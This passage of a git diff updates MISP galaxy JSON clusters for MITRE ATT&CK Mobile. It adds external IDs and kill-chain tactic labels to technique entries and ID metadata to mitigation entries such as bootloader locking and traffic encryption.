"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
],
+ "external_id": "APP-13",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -260,6 +322,10 @@
"https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH%20US%2012%20Percoco%20Adventures%20in%20Bouncerland%20WP.pdf",
"https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei"
],
+ "external_id": "ECO-22",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -275,6 +341,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html"
],
+ "external_id": "CEL-22",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-internet"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -290,6 +360,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045",
"https://jon.oberheide.org/files/summercon12-bouncer.pdf"
],
+ "external_id": "MOB-T1045",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -306,6 +380,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html",
"https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/"
],
+ "external_id": "CEL-22",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-internet"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -322,6 +400,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html"
],
+ "external_id": "ECO-13",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -338,6 +420,11 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
+ "external_id": "APP-29",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:command-and-control",
+ "mitre-mobile-attack:mobile-attack:exfiltration"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -352,6 +439,10 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023"
],
+ "external_id": "MOB-T1023",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android"
]
@@ -365,6 +456,10 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050"
],
+ "external_id": "MOB-T1050",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:effects"
+ ],
"mitre_platforms": [
"Android"
]
@@ -379,6 +474,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html"
],
+ "external_id": "APP-19",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -393,6 +492,10 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076"
],
+ "external_id": "MOB-T1076",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:supply-chain"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -412,6 +515,10 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/",
"http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao"
],
+ "external_id": "APP-21",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -431,6 +538,10 @@
"https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29",
"http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag"
],
+ "external_id": "APP-31",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -449,6 +560,10 @@
"http://www.theregister.co.uk/2015/11/12/mobile%20pwn2own1/",
"https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf"
],
+ "external_id": "STA-19",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-cellular-network"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -464,6 +579,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027",
"https://code.google.com/p/android/issues/detail?id=205565"
],
+ "external_id": "MOB-T1027",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android"
]
@@ -478,6 +597,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html"
],
+ "external_id": "APP-22",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:persistence"
+ ],
"mitre_platforms": [
"Android"
]
@@ -493,6 +616,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html"
],
+ "external_id": "ECO-21",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -507,6 +634,11 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015"
],
+ "external_id": "MOB-T1015",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -522,6 +654,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html"
],
+ "external_id": "APP-28",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:effects"
+ ],
"mitre_platforms": [
"Android"
]
@@ -537,6 +673,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-23.html",
"http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao"
],
+ "external_id": "ECO-23",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
+ ],
"mitre_platforms": [
"iOS"
]
@@ -552,6 +692,10 @@
"https://developer.android.com/reference/java/net/NetworkInterface.html",
"https://developer.android.com/reference/android/telephony/TelephonyManager.html"
],
+ "external_id": "MOB-T1025",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android"
]
@@ -566,6 +710,11 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html"
],
+ "external_id": "APP-30",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:command-and-control",
+ "mitre-mobile-attack:mobile-attack:exfiltration"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -581,6 +730,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024",
"https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en"
],
+ "external_id": "MOB-T1024",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android"
]
@@ -595,6 +748,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062",
"http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode"
],
+ "external_id": "MOB-T1062",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -614,6 +771,11 @@
"https://usmile.at/symposium/program/2015/ekberg",
"http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html"
],
+ "external_id": "APP-27",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:credential-access",
+ "mitre-mobile-attack:mobile-attack:privilege-escalation"
+ ],
"mitre_platforms": [
"Android"
]
@@ -630,6 +792,10 @@
"http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf",
"https://blog.kaspersky.com/darkhotel-apt/6613/"
],
+ "external_id": "LPN-0",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:general-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -646,6 +812,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html",
"https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html"
],
+ "external_id": "EMM-7",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cloud-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -662,6 +832,10 @@
"https://srlabs.de/bites/spoofing-fingerprints/",
"https://support.apple.com/en-us/HT204587"
],
+ "external_id": "MOB-T1063",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -681,6 +855,11 @@
"https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html",
"http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf"
],
+ "external_id": "GPS-0",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cellular-network-based",
+ "mitre-mobile-attack:mobile-attack:general-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -696,6 +875,11 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html"
],
+ "external_id": "APP-35",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -711,6 +895,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
],
+ "external_id": "APP-13",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -728,6 +916,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html",
"http://www.infoworld.com/article/2854963/mobile-development/how-to-keep-your-app-store-dev-account-from-being-hijacked.html"
],
+ "external_id": "ECO-17",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -743,6 +935,11 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1013",
"https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/"
],
+ "external_id": "MOB-T1013",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -758,6 +955,11 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1012",
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html"
],
+ "external_id": "AUT-0",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -775,6 +977,11 @@
"https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf",
"https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
],
+ "external_id": "APP-27",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion",
+ "mitre-mobile-attack:mobile-attack:persistence"
+ ],
"mitre_platforms": [
"Android"
]
@@ -790,6 +997,11 @@
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html",
"http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf"
],
+ "external_id": "CEL-3",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cellular-network-based",
+ "mitre-mobile-attack:mobile-attack:general-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -804,6 +1016,10 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1075"
],
+ "external_id": "MOB-T1075",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:effects"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -819,6 +1035,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1005",
"http://ieeexplore.ieee.org/document/6234407"
],
+ "external_id": "MOB-T1005",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:persistence"
+ ],
"mitre_platforms": [
"Android"
]
@@ -832,6 +1052,11 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039"
],
+ "external_id": "MOB-T1039",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:command-and-control",
+ "mitre-mobile-attack:mobile-attack:exfiltration"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -846,6 +1071,10 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055"
],
+ "external_id": "MOB-T1055",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:effects"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -861,6 +1090,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
],
+ "external_id": "APP-13",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -878,6 +1111,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html",
"https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/"
],
+ "external_id": "EMM-7",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cloud-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -897,6 +1134,10 @@
"https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
"https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
],
+ "external_id": "CEL-37",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cellular-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -915,6 +1156,11 @@
"https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered",
"https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
],
+ "external_id": "APP-27",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion",
+ "mitre-mobile-attack:mobile-attack:persistence"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -930,6 +1176,11 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056",
"https://www.skycure.com/blog/accessibility-clickjacking/"
],
+ "external_id": "MOB-T1056",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android"
]
@@ -945,6 +1196,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html",
"https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/"
],
+ "external_id": "APP-6",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:supply-chain"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -964,6 +1219,10 @@
"https://www.fireeye.com/blog/threat-research/2016/01/hot%20or%20not%20the%20bene.html",
"https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei"
],
+ "external_id": "APP-20",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -983,6 +1242,10 @@
"https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf",
"https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
],
+ "external_id": "CEL-38",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cellular-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -998,6 +1261,11 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020",
"https://zeltser.com/third-party-keyboards-security/"
],
+ "external_id": "MOB-T1020",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection",
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1013,6 +1281,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html"
],
+ "external_id": "APP-26",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:privilege-escalation"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1030,6 +1302,10 @@
"https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/",
"http://www.vvdveen.com/publications/BAndroid.pdf"
],
+ "external_id": "ECO-4",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
+ ],
"mitre_platforms": [
"Android"
]
@@ -1044,6 +1320,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006",
"https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf"
],
+ "external_id": "MOB-T1006",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:persistence"
+ ],
"mitre_platforms": [
"Android"
]
@@ -1059,6 +1339,11 @@
"https://developer.android.com/reference/android/content/pm/PackageManager.html",
"https://andreas-kurtz.de/2014/09/malicious-ios-apps/"
],
+ "external_id": "MOB-T1021",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:defense-evasion",
+ "mitre-mobile-attack:mobile-attack:discovery"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1075,6 +1360,10 @@
"https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/",
"https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/"
],
+ "external_id": "MOB-T1064",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1093,6 +1382,10 @@
"http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/",
"https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters"
],
+ "external_id": "STA-22",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cellular-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1108,6 +1401,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html"
],
+ "external_id": "APP-24",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:collection"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1126,6 +1423,10 @@
"https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf",
"https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/"
],
+ "external_id": "PHY-1",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1142,6 +1443,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
"https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html"
],
+ "external_id": "APP-1",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:general-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1158,6 +1463,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html",
"http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html"
],
+ "external_id": "CEL-7",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:cellular-network-based"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1174,6 +1483,11 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html",
"http://ieeexplore.ieee.org/document/6234407"
],
+ "external_id": "APP-14",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store",
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1190,6 +1504,10 @@
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html",
"http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/"
],
+ "external_id": "APP-28",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:effects"
+ ],
"mitre_platforms": [
"Android",
"iOS"
@@ -1205,6 +1523,10 @@
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065",
"http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/"
],
+ "external_id": "MOB-T1065",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:supply-chain"
+ ],
"mitre_platforms": [
"Android",
"iOS"
diff --git a/clusters/mitre-mobile-attack-course-of-action.json b/clusters/mitre-mobile-attack-course-of-action.json
index 73063cb..d31f160 100644
--- a/clusters/mitre-mobile-attack-course-of-action.json
+++ b/clusters/mitre-mobile-attack-course-of-action.json
@@ -2,7 +2,7 @@
"name": "Mobile Attack - Course of Action",
"type": "mitre-mobile-attack-course-of-action",
"description": "ATT&CK Mitigation",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "03956f9e-1708-11e8-8395-976b24233e15",
"authors": [
@@ -12,72 +12,114 @@
{
"description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.",
"value": "Deploy Compromised Device Detection Method - MOB-M1010",
- "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433"
+ "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433",
+ "meta": {
+ "external_id": "MOB-M1010"
+ }
},
{
"description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).",
"value": "Interconnection Filtering - MOB-M1014",
- "uuid": "e829ee51-1caf-4665-ba15-7f8979634124"
+ "uuid": "e829ee51-1caf-4665-ba15-7f8979634124",
+ "meta": {
+ "external_id": "MOB-M1014"
+ }
},
{
"description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.",
"value": "Use Device-Provided Credential Storage - MOB-M1008",
- "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c"
+ "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c",
+ "meta": {
+ "external_id": "MOB-M1008"
+ }
},
{
"description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.",
"value": "Use Recent OS Version - MOB-M1006",
- "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564"
+ "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564",
+ "meta": {
+ "external_id": "MOB-M1006"
+ }
},
{
"description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n* On Android devices, access can be controlled based on each device's security patch level.\n* On iOS devices, access can be controlled based on the iOS version.",
"value": "Security Updates - MOB-M1001",
- "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d"
+ "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
+ "meta": {
+ "external_id": "MOB-M1001"
+ }
},
{
"description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.",
"value": "Lock Bootloader - MOB-M1003",
- "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58"
+ "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
+ "meta": {
+ "external_id": "MOB-M1003"
+ }
},
{
"description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.",
"value": "System Partition Integrity - MOB-M1004",
- "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321"
+ "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321",
+ "meta": {
+ "external_id": "MOB-M1004"
+ }
},
{
"description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.",
"value": "Attestation - MOB-M1002",
- "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c"
+ "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c",
+ "meta": {
+ "external_id": "MOB-M1002"
+ }
},
{
"description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.",
"value": "Caution with Device Administrator Access - MOB-M1007",
- "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9"
+ "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
+ "meta": {
+ "external_id": "MOB-M1007"
+ }
},
{
"description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.",
"value": "Application Developer Guidance - MOB-M1013",
- "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1"
+ "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
+ "meta": {
+ "external_id": "MOB-M1013"
+ }
},
{
"description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.",
"value": "Application Vetting - MOB-M1005",
- "uuid": "1553b156-6767-47f7-9eb4-2a692505666d"
+ "uuid": "1553b156-6767-47f7-9eb4-2a692505666d",
+ "meta": {
+ "external_id": "MOB-M1005"
+ }
},
{
"description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.",
"value": "User Guidance - MOB-M1011",
- "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1"
+ "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1",
+ "meta": {
+ "external_id": "MOB-M1011"
+ }
},
{
"description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.",
"value": "Enterprise Policy - MOB-M1012",
- "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee"
+ "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee",
+ "meta": {
+ "external_id": "MOB-M1012"
+ }
},
{
"description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.",
"value": "Encrypt Network Traffic - MOB-M1009",
- "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8"
+ "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8",
+ "meta": {
+ "external_id": "MOB-M1009"
+ }
}
]
}
diff --git a/clusters/mitre-mobile-attack-intrusion-set.json b/clusters/mitre-mobile-attack-intrusion-set.json
index 406198a..f6b3659 100644
--- a/clusters/mitre-mobile-attack-intrusion-set.json
+++ b/clusters/mitre-mobile-attack-intrusion-set.json
@@ -2,7 +2,7 @@
"name": "Mobile Attack - intrusion Set",
